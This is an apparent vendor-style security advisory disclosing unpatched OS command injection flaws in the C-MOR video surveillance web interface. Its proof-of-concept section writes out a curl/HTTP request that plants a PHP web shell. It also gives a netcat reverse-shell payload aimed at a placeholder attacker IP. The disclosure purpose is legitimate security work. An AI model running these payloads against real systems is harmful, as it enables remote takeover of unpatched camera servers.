~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Overview:<\/p>\n
The software product C-MOR is an IP video surveillance system.<\/p>\n
The manufacturer describes the product as follows:<\/p>\n
“With C-MOR video surveillance, it is possible to check your
surveillance over network and the Internet. You can access the live
view as well as previous recordings from any PC or mobile device.
C-MOR is managed and controlled over the C-MOR web interface.
IP settings, camera recording setup, user rights and so on are set
over the web without the installation of any software on the
client.”[1]<\/p>\n
Due to insufficient input validation, the C-MOR web interface is
vulnerable to OS command injection attacks.<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Vulnerability Details:<\/p>\n
By analyzing the C-MOR web interface, it was found that different
functionality is vulnerable to OS command injection attacks, for
example for generating new X.509 certificates or setting the time zone.<\/p>\n
The OS command injection vulnerability in the script “generatesslreq.pml”
can be exploited as a low-privileged authenticated user (see
SYSS-2024-024[3])
in order to execute commands in the context of the Linux user “www-data”.<\/p>\n
The OS command injection vulnerability in the script “settimezone.pml”
requires an administrative user for the C-MOR web interface.<\/p>\n
By also exploiting the privilege escalation vulnerability described in
SYSS-2024-027[4], it is possible to execute commands on the C-MOR system
with root privileges.<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Proof of Concept (PoC):<\/p>\n
By sending the following HTTP POST request to the script
“generatesslreq.pml”, the injected OS command via the parameter
“city” is executed as Linux user “www-data”.<\/p>\n
In this sample attack vector, a simple PHP web shell is created in
the backup directory within the web server’s webroot:<\/p>\n
POST \/generatesslreq.pml HTTP\/1.1
Host: <HOST>
Authorization: Basic <CREDENTIALS>
Content-Type: application\/x-www-form-urlencoded
Content-Length: 152
Connection: close<\/p>\n
countrycode=de&state=state&city=city’|echo ‘<?php echo
system($_GET[“cmd”]);?>’ > \/srv\/www\/htdocs\/backup\/webshell.php
#&organization=org&servername=syss<\/p>\n
This PoC attack can be performed using the following curl command:<\/p>\n
curl -X POST -d “countrycode=de&state=state&city=city’|echo ‘<?php echo
system($_GET[“cmd”]);?>’ > \/srv\/www\/htdocs\/backup\/webshell.php
#&organization=org&servername=syss” –user “<USERNAME>:<PASSWORD>”
–ciphers “DEFAULT:!DH” https:\/\/<HOST>\/generatesslreq.pml<\/p>\n
The uploaded web shell can be used via the following URL:<\/p>\n
https:\/\/<HOST>\/backup\/web shell.php?cmd=<COMMAND><\/p>\n
In version 6.00PL01, an OS command injection was, for instance, possible
using the following attack vector:<\/p>\n
curl -X POST \\
-d
‘hour=00&min=34&sec=27&day=06&month=06&year=2024+%26%26+nc+<ATTACKERIP>+<ATTACKER-PORT>+-e+\/bin\/bash+%26’
\\
–user “<USERNAME>:<PASSWORD>” \\
–insecure \\
–ciphers ‘DEFAULT:!DH’ \\
https:\/\/<HOST>\/en\/setdatetime.pml<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Solution:<\/p>\n
The described security vulnerability has not been fixed entirely in the
newly
released software version 6.00PL01.<\/p>\n
There is no fix for this security issue.<\/p>\n
